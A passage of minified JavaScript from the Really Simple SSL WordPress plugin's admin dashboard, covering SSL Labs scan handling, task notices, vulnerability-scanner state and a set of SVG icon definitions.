s=!1;r.length>0&&r.forEach((function(e,t){e.ipAddress===l.ipAddress&&(r[t]=l,s=!0)})),s||(r[r.length]=l),e({endpointData:r}),t.endpointData=r}t.errors||a.Eo("store_ssl_labs",t),t=s().processSslData(t),e({sslData:t,requestActive:!1})}))}else(t=s().processSslData(t)).errors||a.Eo("store_ssl_labs",t).then((e=>{})),e({sslData:t,requestActive:!1})}))},processSslData:s=>{s||(s={});let t=s.progress?s.progress:0,l=s.startTime?s.startTime:"",a=s.statusMessage?s.statusMessage:"",r=s.grade?s.grade:"?",n="";if(s.endpoints){let e=s.endpoints.filter((e=>"Ready"===e.statusMessage)),l=e.length,c=e[l-1],i=s.endpoints.filter((e=>"In progress"===e.statusMessage))[0],o=0;i&&(o=i.progress?i.progress:0,a=i.statusDetailsMessage,n=i.ipAddress),c&&(r=c.grade),t=(100*l+o)/s.endpoints.length}s.errors&&(r="?",a=s.errors[0].message,t=100);let c={};return t>=100&&e({sslScanStatus:"completed"}),c.grade=r,c.startTime=l,c.statusMessage=a,c.ipAddress=n,c.progress=t,s.summary=c,s},getEndpointData:e=>{const t="https://api.ssllabs.com/api/v3/getEndpointData?host="+s().host()+"&s="+e;let l={};return l.url=t,a.Eo("ssltest_run",l).then((e=>{if(e&&!e.errors)return JSON.parse(e)}))}})))},9684:(e,s,t)=>{t.d(s,{A:()=>g});var l=t(1609),a=t(7723),r=t(4937),n=t(4110),c=t(6975),i=t(2828),o=t(2043),m=t(2838),d=t.n(m),u=t(6087);const g=e=>{const{dismissNotice:s,getProgressData:t}=(0,i.A)(),{getField:m,setHighLightField:g,showSavedSettingsNotice:h}=(0,c.A)(),{setSelectedSubMenuItem:p}=(0,o.A)(),[f,v]=(0,u.useState)(!1);let E=e.notice,w="premium"===E.output.icon,C=E.output.url&&-1!==E.output.url.indexOf("really-simple-ssl.com");return(0,l.createElement)("div",{className:"rsssl-task-element"},(0,l.createElement)("span",{className:"rsssl-task-status rsssl-"+E.output.icon},E.output.label),(0,l.createElement)("p",{className:"rsssl-task-message",dangerouslySetInnerHTML:{__html:d().sanitize(E.output.msg)}})," ",C&&E.output.url&&(0,l.createElement)("a",{target:"_blank",rel:"noopener noreferrer",href:E.output.url},(0,a.__)("More info","really-simple-ssl")),E.output.clear_cache_id&&(0,l.createElement)("span",{className:"rsssl-task-enable button button-secondary",onClick:()=>(e=>{v(!0);let s={};s.cache_id=e,n.Eo("clear_cache",s).then((e=>{v(!1),h((0,a.__)("Re-started test","really-simple-ssl")),t()}))})(E.output.clear_cache_id)},(0,a.__)("Re-check","really-simple-ssl")),E.output.fix_id&&(0,l.createElement)("span",{className:"rsssl-task-enable button button-secondary",onClick:()=>(e=>{let s={};s.fix_id=e,v(!0),n.Eo("fix",s).then((e=>{v(!1),h(e.msg),t()}))})(E.output.fix_id)},!f&&(0,a.__)("Fix","really-simple-ssl"),f&&(0,l.createElement)(r.default,{name:"loading",color:"black",size:14})),!w&&!C&&E.output.url&&(0,l.createElement)("a",{className:"rsssl-task-enable button button-secondary",href:E.output.url},!f&&(0,a.__)("View","really-simple-ssl"),f&&(0,l.createElement)(r.default,{name:"loading",color:"black",size:14})),!w&&E.output.highlight_field_id&&(0,l.createElement)("span",{className:"rsssl-task-enable button button-secondary",onClick:()=>(async()=>{g(e.notice.output.highlight_field_id);let s=m(e.notice.output.highlight_field_id);await p(s.menu_id)})()},(0,a.__)("View","really-simple-ssl")),E.output.plusone&&(0,l.createElement)("span",{className:"rsssl-plusone"},"1"),E.output.dismissible&&"completed"!==E.output.status&&(0,l.createElement)("div",{className:"rsssl-task-dismiss"},(0,l.createElement)("button",{type:"button",onClick:e=>s(E.id)},(0,l.createElement)(r.default,{name:"times"}))))}},9695:(e,s,t)=>{t.d(s,{A:()=>r});var l=t(1609),a=t(3972);const r=e=>{let s=e.lines;return s||(s=4),e.error&&(s=0),(0,l.createElement)("div",{className:"rsssl-placeholder"},e.error&&(0,l.createElement)(a.A,{error:e.error}),Array.from({length:s}).map(((e,s)=>(0,l.createElement)("div",{className:"rsssl-placeholder-line",key:"placeholder-"+s}))))}},4449:(e,s,t)=>{t.d(s,{A:()=>o});var l=t(1609),a=t(1621),r=t(4110),n=t(7723),c=t(6535),i=t(6155);const o=(0,a.vt)(((e,s)=>({dummyRiskData:[{id:"force_update",name:"Force Update",value:"l",description:(0,n.__)("Force update the plugin or theme","really-simple-ssl")},{id:"quarantine",name:"Quarantine",value:"m",description:(0,n.__)("Isolates the plugin or theme if no update can be performed","really-simple-ssl")}],riskData:[],riskLevels:{l:1,m:2,h:3,c:4},vulnerabilities:[],processing:!1,dataLoaded:!1,updates:0,HighestRisk:!1,lastChecked:"",vulEnabled:!1,riskNaming:{},vulList:[],setDataLoaded:s=>e({dataLoaded:s}),updateRiskData:async(t,l)=>{if(!s().processing){e({processing:!0}),e((0,c.jM)((e=>{let a=e.riskData.findIndex((e=>e.id===t));e.riskData[a].value=l,e.riskData=s().enforceCascadingRiskLevels(e.riskData)})));try{await r.Eo("vulnerabilities_measures_set",{riskData:s().riskData}),e({dataLoaded:!0,processing:!1})}catch(e){console.log(e)}e({processing:!1})}},enforceCascadingRiskLevels:e=>{if(0===e.length)return e;let t=e.filter((e=>"force_update"===e.id))[0].value,l=e.filter((e=>"quarantine"===e.id))[0].value;t=s().riskLevels.hasOwnProperty(t)?s().riskLevels[t]:5,l=s().riskLevels.hasOwnProperty(l)?s().riskLevels[l]:5;let a=e.findIndex((e=>"quarantine"===e.id));l<t&&(e[a].value=Object.keys(s().riskLevels).find((e=>s().riskLevels[e]===t))),5===t&&(e[a].value="*");let r=t>0?t:0,n=Array.from(Array(r).keys()).map((e=>e));return n=n.map((e=>Object.keys(s().riskLevels).find((t=>s().riskLevels[t]===e)))),e[a].disabledRiskLevels=n,e},fetchFirstRun:async()=>{s().processing||(e({processing:!0}),await r.Eo("vulnerabilities_scan_files"),e({processing:!1}))},fetchVulnerabilities:async()=>{if(s().processing)return;e({processing:!0});let t={};try{const a=await r.Eo("hardening_data",t);let o=[],m=0;a.data.vulList&&(m=a.data.vulnerabilities,o=a.data.vulList,"object"==typeof o&&(o=Object.values(o)),o.forEach((function(e,s){let t=e.update_available?rsssl_settings.plugins_url+"?plugin_status=upgrade":"#settings/vulnerabilities";e.vulnerability_action=(0,l.createElement)("div",{className:"rsssl-action-buttons"},(0,l.createElement)("a",{className:"rsssl-button button-secondary",href:(0,i.g)("https://really-simple-ssl.com/vulnerability/"+e.rss_identifier),target:"_blank",rel:"noopener noreferrer"},(0,n.__)("Details","really-simple-ssl")),(0,l.createElement)("a",{disabled:!e.update_available,href:t,className:"rsssl-button button-primary"},(0,n.__)("Update","really-simple-ssl")))})));let d=a.data.riskData;Array.isArray(d)||(d=[]),d=s().enforceCascadingRiskLevels(d),e((0,c.jM)((e=>{e.vulnerabilities=m,e.vulList=o,e.updates=a.data.updates,e.dataLoaded=!0,e.riskNaming=a.data.riskNaming,e.lastChecked=a.data.lastChecked,e.vulEnabled=a.data.vulEnabled,e.riskData=d,e.processing=!1})))}catch(e){console.error(e)}},vulnerabilityCount:()=>{let e=s().vulList,t=[];return Object.keys(e).forEach((function(s){t.push(e[s])})),["c","h","m","l"].map((function(e){return{level:e,count:t.filter((function(s){return s.risk_level===e})).length}}))},vulnerabilityScore:()=>{let e=0,t=s().vulList;return Object.keys(t).forEach((function(s){"c"===t[s].risk_level?e=5:e<1&&(e=1)})),e},hardeningScore:()=>{let e=0,t=s().vulnerabilities;for(let s=0;s<t.length;s++)e+=t[s].hardening_score;return e},activateVulnerabilityScanner:async()=>{try{(await r.Eo("rsssl_scan_files")).request_success&&await s().fetchVulnerabilities()}catch(e){console.error(e)}}})))},4937:(e,s,t)=>{t.r(s),t.d(s,{default:()=>n});var l=t(1609),a=t(9519);const r=React.forwardRef((function(e,s){const{name:t,color:a,size:r}=e,n=t||"bullet",c=a||"black",i=r||15,o={black:"var(--rsp-black)",green:"var(--rsp-green)",yellow:"var(--rsp-yellow)",orange:"var(--rsp-yellow)","red-faded":"var(--rsp-red-faded)",red:"var(--rsp-red)",grey:"var(--rsp-grey-400)","red-warning":"var(--rsp-red-faded)"};let m="";return"bullet"===n&&(m=(0,l.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 512 512",height:i},(0,l.createElement)("path",{fill:o[c],d:"M512 256C512 397.4 397.4 512 256 512C114.6 512 0 397.4 0 256C0 114.6 114.6 0 256 0C397.4 0 512 114.6 512 256z"}))),"circle"===n&&(m=(0,l.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 512 512",height:i},(0,l.createElement)("path",{fill:o[c],d:"M512 256C512 397.4 397.4 512 256 512C114.6 512 0 397.4 0 256C0 114.6 114.6 0 256 0C397.4 0 512 114.6 512 256zM256 48C141.1 48 48 141.1 48 256C48 370.9 141.1 464 256 464C370.9 464 464 370.9 464 256C464 141.1 370.9 48 256 48z"}))),"check"===n&&(m=(0,l.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 512 512",height:i},(0,l.createElement)("path",{fill:o[c],d:"M512 256C512 397.4 397.4 512 256 512C114.6 512 0 397.4 0 256C0 114.6 114.6 0 256 0C397.4 0 512 114.6 512 256zM256 48C141.1 48 48 141.1 48 256C48 370.9 141.1 464 256 464C370.9 464 464 370.9 464 256C464 141.1 370.9 48 256 48z"}))),"warning"===n&&(m=(0,l.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 512 512",height:i},(0,l.createElement)("path",{fill:o[c],d:"M506.3 417l-213.3-364c-16.33-28-57.54-28-73.98 0l-213.2 364C-10.59 444.9 9.849 480 42.74 480h426.6C502.1 480 522.6 445 506.3 417zM232 168c0-13.25 10.75-24 24-24S280 154.8 280 168v128c0 13.25-10.75 24-23.1 24S232 309.3 232 296V168zM256 416c-17.36 0-31.44-14.08-31.44-31.44c0-17.36 14.07-31.44 31.44-31.44s31.44 14.08 31.44 31.44C287.4 401.9 273.4 416 256 416z"}))),"error"===n&&(m=(0,l.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 512 512",height:i},(0,l.createElement)("path",{fill:o[c],d:"M256 0C114.6 0 0 114.6 0 256s114.6 256 256 256s256-114.6 256-256S397.4 0 256 0zM232 152C232 138.8 242.8 128 256 128s24 10.75 24 24v128c0 13.25-10.75 24-24 24S232 293.3 232 280V152zM256 400c-17.36 0-31.44-14.08-31.44-31.44c0-17.36 14.07-31.44 31.44-31.44s31.44 14.08 31.44 31.44C287.4 385.9 273.4 400 256 400z"}))),"times"===n&&(m=(0,l.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 320 512",height:i},(0,l.createElement)("path",{fill:o[c],d:"M310.6 361.4c12.5 12.5 12.5 32.75 0 45.25C304.4 412.9 296.2 416 288 416s-16.38-3.125-22.62-9.375L160 301.3L54.63 406.6C48.38 412.9 40.19 416 32 416S15.63 412.9 9.375 406.6c-12.5-12.5-12.5-32.75 0-45.25l105.4-105.4L9.375 150.6c-12.5-12.5-12.5-32.75 0-45.25s32.75-12.5 45.25 0L160 210.8l105.4-105.4c12.5-12.5 32.75-12.5 45.25 0s12.5 32.75 0 45.25l-105.4 105.4L310.6 361.4z"}))),"circle-check"===n&&(m=(0,l.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 512 512",height:i},(0,l.createElement)("path",{fill:o[c],d:"M0 256C0 114.6 114.6 0 256 0C397.4 0 512 114.6 512 256C512 397.4 397.4 512 256 512C114.6 512 0 397.4 0 256zM371.8 211.8C382.7 200.9 382.7 183.1 371.8 172.2C360.9 161.3 343.1 161.3 332.2 172.2L224 280.4L179.8 236.2C168.9 225.3 151.1 225.3 140.2 236.2C129.3 247.1 129.3 264.9 140.2 275.8L204.2 339.8C215.1 350.7 232.9 350.7 243.8 339.8L371.8 211.8z"}))),"circle-times"===n&&(m=(0,l.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 512 512",height:i},(0,l.createElement)("path",{fill:o[c],d:"M0 256C0 114.6 114.6 0 256 0C397.4 0 512 114.6 512 256C512 397.4 397.4 512 256 512C114.6 512 0 397.4 0 256zM175 208.1L222.1 255.1L175 303C165.7 312.4 165.7 327.6 175 336.1C184.4 346.3 199.6 346.3 208.1 336.1L255.1 289.9L303 336.1C312.4 346.3 327.6 346.3 336.1 336.1C346.3 327.6 346.3 312.4 336.1 303L289.9 255.1L336.1 208.1C346.3 199.6 346.3 184.4 336.1 175C327.6 165.7 312.4 165.7 303 175L255.1 222.1L208.1 175C199.6 165.7 184.4 165.7 175 175C165.7 184.4 165.7 199.6 175 208.1V208.1z"}))),"chevron-up"===n&&(m=(0,l.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 448 512",height:i},(0,l.createElement)("path",{fill:o[c],d:"M416 352c-8.188 0-16.38-3.125-22.62-9.375L224 173.3l-169.4 169.4c-12.5 12.5-32.75 12.5-45.25 0s-12.5-32.75 0-45.25l192-192c12.5-12.5 32.75-12.5 45.25 0l192 192c12.5 12.5 12.5 32.75 0 45.25C432.4 348.9 424.2 352 416 352z"}))),"chevron-down"===n&&(m=(0,l.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 448 512",height:i},(0,l.createElement)("path",{fill:o[c],d:"M224 416c-8.188 0-16.38-3.125-22.62-9.375l-192-192c-12.5-12.5-12.5-32.75 0-45.25s32.75-12.5 45.25 0L224 338.8l169.4-169.4c12.5-12.5 32.75-12.5 45.25 0s12.5 32.75 0 45.25l-192 192C240.4 412.9 232.2 416 224 416z"}))),"chevron-right"===n&&(m=(0,l.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 320 512",height:i},(0,l.createElement)("path",{fill:o[c],d:"M96 480c-8.188 0-16.38-3.125-22.62-9.375c-12.5-12.5-12.5-32.75 0-45.25L242.8 256L73.38 86.63c-12.5-12.5-12.5-32.75 0-45.25s32.75-12.5 45.25 0l192 192c12.5 12.5 12.5 32.75 0 45.25l-192 192C112.4 476.9 104.2 480 96 480z"}))),"chevron-left"===n&&(m=(0,l.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 320 512",height:i},(0,l.createElement)("path",{fill:o[c],d:"M224 480c-8.188 0-16.38-3.125-22.62-9.375l-192-192c-12.5-12.5-12.5-32.75 0-45.25l192-192c12.5-12.5 32.75-12.5 45.25 0s12.5 32.75 0 45.25L77.25 256l169.4 169.4c12.5 12.5 12.5 32.75 0 45.25C240.4 476.9 232.2 480 224 480z"}))),"plus"===n&&(m=(0,l.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 512 512",height:i},(0,l.createElement)("path",{fill:o[c],d:"M432 256c0 17.69-14.33 32.01-32 32.01H256v144c0 17.69-14.33 31.99-32 31.99s-32-14.3-32-31.99v-144H48c-17.67 0-32-14.32-32-32.01s14.33-31.99 32-31.99H192v-144c0-17.69 14.33-32.01 32-32.01s32 14.32 32 32.01v144h144C417.7 224 432 238.3 432 256z"}))),"minus"===n&&(m=(0,l.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 512 512",height:i},(0,l.createElement)("path",{fill:o[c],d:"M400 288h-352c-17.69 0-32-14.32-32-32.01s14.31-31.99 32-31.99h352c17.69 0 32 14.3 32 31.99S417.7 288 400 288z"}))),"sync"===n&&(m=(0,l.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 512 512",height:i},(0,l.createElement)("path",{fill:o[c],d:"M483.515 28.485L431.35 80.65C386.475 35.767 324.485 8 256 8 123.228 8 14.824 112.338 8.31 243.493 7.971 250.311 13.475 256 20.301 256h28.045c6.353 0 11.613-4.952 11.973-11.294C66.161 141.649 151.453 60 256 60c54.163 0 103.157 21.923 138.614 57.386l-54.128 54.129c-7.56 7.56-2.206 20.485 8.485 20.485H492c6.627 0 12-5.373 12-12V36.971c0-10.691-12.926-16.045-20.485-8.486zM491.699 256h-28.045c-6.353 0-11.613 4.952-11.973 11.294C445.839 370.351 360.547 452 256 452c-54.163 0-103.157-21.923-138.614-57.386l54.128-54.129c7.56-7.56 2.206-20.485-8.485-20.485H20c-6.627 0-12 5.373-12 12v143.029c0 10.691 12.926 16.045 20.485 8.485L80.65 431.35C125.525 476.233 187.516 504 256 504c132.773 0 241.176-104.338 247.69-235.493.339-6.818-5.165-12.507-11.991-12.507z"}))),"sync-error"===n&&(m=(0,l.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 512 512",height:i},(0,l.createElement)("path",{fill:o[c],d:"M256 79.1C178.5 79.1 112.7 130.1 89.2 199.7C84.96 212.2 71.34 218.1 58.79 214.7C46.23 210.5 39.48 196.9 43.72 184.3C73.6 95.8 157.3 32 256 32C337.5 32 408.8 75.53 448 140.6V104C448 90.75 458.7 80 472 80C485.3 80 496 90.75 496 104V200C496 213.3 485.3 224 472 224H376C362.7 224 352 213.3 352 200C352 186.7 362.7 176 376 176H412.8C383.7 118.1 324.4 80 256 80V79.1zM280 263.1C280 277.3 269.3 287.1 256 287.1C242.7 287.1 232 277.3 232 263.1V151.1C232 138.7 242.7 127.1 256 127.1C269.3 127.1 280 138.7 280 151.1V263.1zM224 352C224 334.3 238.3 319.1 256 319.1C273.7 319.1 288 334.3 288 352C288 369.7 273.7 384 256 384C238.3 384 224 369.7 224 352zM40 432C26.75 432 16 421.3 16 408V311.1C16 298.7 26.75 287.1 40 287.1H136C149.3 287.1 160 298.7 160 311.1C160 325.3 149.3 336 136 336H99.19C128.3 393 187.6 432 256 432C333.5 432 399.3 381.9 422.8 312.3C427 299.8 440.7 293 453.2 297.3C465.8 301.5 472.5 315.1 468.3 327.7C438.4 416.2 354.7 480 256 480C174.5 480 103.2 436.5 64 371.4V408C64 421.3 53.25 432 40 432V432z"}))),"shortcode"===n&&(m=(0,l.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 448 512",height:i},(0,l.createElement)("path",{fill:o[c],d:"M128 32H32C14.4 32 0 46.4 0 64v384c0 17.6 14.4 32 32 32h96C145.7 480 160 465.7 160 448S145.7 416 128 416H64V96h64C145.7 96 160 81.67 160 64S145.7 32 128 32zM416 32h-96C302.3 32 288 46.33 288 63.1S302.3 96 319.1 96H384v320h-64C302.3 416 288 430.3 288 447.1S302.3 480 319.1 480H416c17.6 0 32-14.4 32-32V64C448 46.4 433.6 32 416 32z"}))),"file"===n&&(m=(0,l.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 384 512",height:i},(0,l.createElement)("path",{fill:o[c],d:"M0 64C0 28.65 28.65 0 64 0H229.5C246.5 0 262.7 6.743 274.7 18.75L365.3 109.3C377.3 121.3 384 137.5 384 154.5V448C384 483.3 355.3 512 320 512H64C28.65 512 0 483.3 0 448V64zM336 448V160H256C238.3 160 224 145.7 224 128V48H64C55.16 48 48 55.16 48 64V448C48 456.8 55.16 464 64 464H320C328.8 464 336 456.8 336 448z"}))),"file-disabled"===n&&(m=(0,l.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 640 512",height:i},(0,l.createElement)("path",{fill:o[c],d:"M639.1 487.1c0-7.119-3.153-14.16-9.191-18.89l-118.8-93.12l.0013-237.3c0-16.97-6.742-33.26-18.74-45.26l-74.63-74.64C406.6 6.742 390.3 0 373.4 0H192C156.7 0 128 28.65 128 64L128 75.01L38.82 5.11C34.41 1.672 29.19 0 24.04 0C10.19 0-.0002 11.3-.0002 23.1c0 7.12 3.153 14.16 9.192 18.89l591.1 463.1C605.6 510.3 610.8 512 615.1 512C629.8 512 639.1 500.6 639.1 487.1zM464 338.4l-287.1-225.7l-.002-48.51c0-8.836 7.164-16 15.1-16h160l-.0065 79.87c0 17.67 14.33 31.1 31.1 31.1L464 159.1V338.4zM448 463.1H192c-8.834 0-15.1-7.164-15.1-16L176 234.6L128 197L128 447.1c0 35.34 28.65 64 63.1 64H448c20.4 0 38.45-9.851 50.19-24.84l-37.72-29.56C457.5 461.4 453.2 463.1 448 463.1z"}))),"loading"===n&&(m=(0,l.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 512 512",height:i},(0,l.createElement)("path",{fill:o[a],d:"M304 48c0-26.5-21.5-48-48-48s-48 21.5-48 48s21.5 48 48 48s48-21.5 48-48zm0 416c0-26.5-21.5-48-48-48s-48 21.5-48 48s21.5 48 48 48s48-21.5 48-48zM48 304c26.5 0 48-21.5 48-48s-21.5-48-48-48s-48 21.5-48 48s21.5 48 48 48zm464-48c0-26.5-21.5-48-48-48s-48 21.5-48 48s21.5 48 48 48s48-21.5 48-48zM142.9 437c18.7-18.7 18.7-49.1 0-67.9s-49.1-18.7-67.9 0s-18.7 49.1 0 67.9s49.1 18.7 67.9 0zm0-294.2c18.7-18.7 18.7-49.1 0-67.9S93.7 56.2 75 75s-18.7 49.1 0 67.9s49.1 18.7 67.9 0zM369.1 437c18.7 18.7 49.1 18.7 67.9 0s18.7-49.1 0-67.9s-49.1-18.7-67.9 0s-18.7 49.1 0 67.9z"}))),"file-download"===n&&(m=(0,l.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 384 512",height:i},(0,l.createElement)("path",{fill:o[c],d:"M216 342.1V240c0-13.25-10.75-24-24-24S168 226.8 168 240v102.1L128.1 303C124.3 298.3 118.2 296 112 296S99.72 298.3 95.03 303c-9.375 9.375-9.375 24.56 0 33.94l80 80c9.375 9.375 24.56 9.375 33.94 0l80-80c9.375-9.375 9.375-24.56 0-33.94s-24.56-9.375-33.94 0L216 342.1zM365.3 93.38l-74.63-74.64C278.6 6.742 262.3 0 245.4 0H64C28.65 0 0 28.65 0 64l.0065 384c0 35.34 28.65 64 64 64H320c35.2 0 64-28.8 64-64V138.6C384 121.7 377.3 105.4 365.3 93.38zM336 448c0 8.836-7.164 16-16 16H64.02c-8.838 0-16-7.164-16-16L48 64.13c0-8.836 7.164-16 16-16h160L224 128c0 17.67 14.33 32 32 32h79.1V448z"}))),"calendar"===n&&(m=(0,l.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 448 512",height:i},(0,l.createElement)("path",{fill:o[c],d:"M152 64H296V24C296 10.75 306.7 0 320 0C333.3 0 344 10.75 344 24V64H384C419.3 64 448 92.65 448 128V448C448 483.3 419.3 512 384 512H64C28.65 512 0 483.3 0 448V128C0 92.65 28.65 64 64 64H104V24C104 10.75 114.7 0 128 0C141.3 0 152 10.75 152 24V64zM48 448C48 456.8 55.16 464 64 464H384C392.8 464 400 456.8 400 448V192H48V448z"}))),"calendar-error"===n&&(m=(0,l.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 576 512",height:i},(0,l.createElement)("path",{fill:o[c],d:"M151.1 64H296V24C296 10.75 306.7 0 320 0C333.3 0 344 10.75 344 24V64H384C419.3 64 448 92.65 448 128V192H47.1V448C47.1 456.8 55.16 464 63.1 464H284.5C296.7 482.8 312.5 499.1 330.8 512H64C28.65 512 0 483.3 0 448V128C0 92.65 28.65 64 64 64H104V24C104 10.75 114.7 0 128 0C141.3 0 152 10.75 152 24L151.1 64zM576 368C576 447.5 511.5 512 432 512C352.5 512 287.1 447.5 287.1 368C287.1 288.5 352.5 224 432 224C511.5 224 576 288.5 576 368zM432 416C418.7 416 408 426.7 408 440C408 453.3 418.7 464 432 464C445.3 464 456 453.3 456 440C456 426.7 445.3 416 432 416zM447.1 288C447.1 279.2 440.8 272 431.1 272C423.2 272 415.1 279.2 415.1 288V368C415.1 376.8 423.2 384 431.1 384C440.8 384 447.1 376.8 447.1 368V288z"}))),"help"===n&&(m=(0,l.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 512 512",height:i},(0,l.createElement)("path",{fill:o[c],d:"M256 0C114.6 0 0 114.6 0 256s114.6 256 256 256s256-114.6 256-256S397.4 0 256 0zM256 400c-18 0-32-14-32-32s13.1-32 32-32c17.1 0 32 14 32 32S273.1 400 256 400zM325.1 258L280 286V288c0 13-11 24-24 24S232 301 232 288V272c0-8 4-16 12-21l57-34C308 213 312 206 312 198C312 186 301.1 176 289.1 176h-51.1C225.1 176 216 186 216 198c0 13-11 24-24 24s-24-11-24-24C168 159 199 128 237.1 128h51.1C329 128 360 159 360 198C360 222 347 245 325.1 258z"}))),"copy"===n&&(m=(0,l.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 512 512",height:i},(0,l.createElement)("path",{fill:o[c],d:"M502.6 70.63l-61.25-61.25C435.4 3.371 427.2 0 418.7 0H255.1c-35.35 0-64 28.66-64 64l.0195 256C192 355.4 220.7 384 256 384h192c35.2 0 64-28.8 64-64V93.25C512 84.77 508.6 76.63 502.6 70.63zM464 320c0 8.836-7.164 16-16 16H255.1c-8.838 0-16-7.164-16-16L239.1 64.13c0-8.836 7.164-16 16-16h128L384 96c0 17.67 14.33 32 32 32h47.1V320zM272 448c0 8.836-7.164 16-16 16H63.1c-8.838 0-16-7.164-16-16L47.98 192.1c0-8.836 7.164-16 16-16H160V128H63.99c-35.35 0-64 28.65-64 64l.0098 256C.002 483.3 28.66 512 64 512h192c35.2 0 64-28.8 64-64v-32h-47.1L272 448z"}))),"info"===n&&(m=(0,l.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 512 512",height:i},(0,l.createElement)("path",{fill:o[c],d:"M256 512c141.4 0 256-114.6 256-256S397.4 0 256 0S0 114.6 0 256S114.6 512 256 512zM216 336h24V272H216c-13.3 0-24-10.7-24-24s10.7-24 24-24h48c13.3 0 24 10.7 24 24v88h8c13.3 0 24 10.7 24 24s-10.7 24-24 24H216c-13.3 0-24-10.7-24-24s10.7-24 24-24zm40-144c-17.7 0-32-14.3-32-32s14.3-32 32-32s32 14.3 32 32s-14.3 32-32 32z"}))),"info-open"===n&&(m=(0,l.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 512 512",height:i},(0,l.createElement)("path",{fill:o[c],d:"M256 0C114.6 0 0 114.6 0 256s114.6 256 256 256s256-114.6 256-256S397.4 0 256 0zM256 464c-114.7 0-208-93.31-208-208S141.3 48 256 48s208 93.31 208 208S370.7 464 256 464zM256 304c13.25 0 24-10.75 24-24v-128C280 138.8 269.3 128 256 128S232 138.8 232 152v128C232 293.3 242.8 304 256 304zM256 337.1c-17.36 0-31.44 14.08-31.44 31.44C224.6 385.9 238.6 400 256 400s31.44-14.08 31.44-31.44C287.4 351.2 273.4 337.1 256 337.1z"}))),"list"===n&&(m=(0,l.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 512 512",height:i},(0,l.createElement)("path",{fill:o[c],d:"M184.1 38.2c9.9 8.9 10.7 24 1.8 33.9l-72 80c-4.4 4.9-10.6 7.8-17.2 7.9s-12.9-2.4-17.6-7L39 113c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0l22.1 22.1 55.1-61.2c8.9-9.9 24-10.7 33.9-1.8zm0 160c9.9 8.9 10.7 24 1.8 33.9l-72 80c-4.4 4.9-10.6 7.8-17.2 7.9s-12.9-2.4-17.6-7L39 273c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0l22.1 22.1 55.1-61.2c8.9-9.9 24-10.7 33.9-1.8zM256 96c0-17.7 14.3-32 32-32H512c17.7 0 32 14.3 32 32s-14.3 32-32 32H288c-17.7 0-32-14.3-32-32zm0 160c0-17.7 14.3-32 32-32H512c17.7 0 32 14.3 32 32s-14.3 32-32 32H288c-17.7 0-32-14.3-32-32zM192 416c0-17.7 14.3-32 32-32H512c17.7 0 32 14.3 32 32s-14.3 32-32 32H224c-17.7 0-32-14.3-32-32zM80 464c-26.5 0-48-21.5-48-48s21.5-48 48-48s48 21.5 48 48s-21.5 48-48 48z"}))),"empty"===n&&(m=(0,l.createElement)("svg",{height:i,width:i,"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 280.8 363.67"})),"external-link"===n&&(m=(0,l.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 512 512",height:i},(0,l.createElement)("path",{fill:o[c],d:"M384 32c35.3 0 64 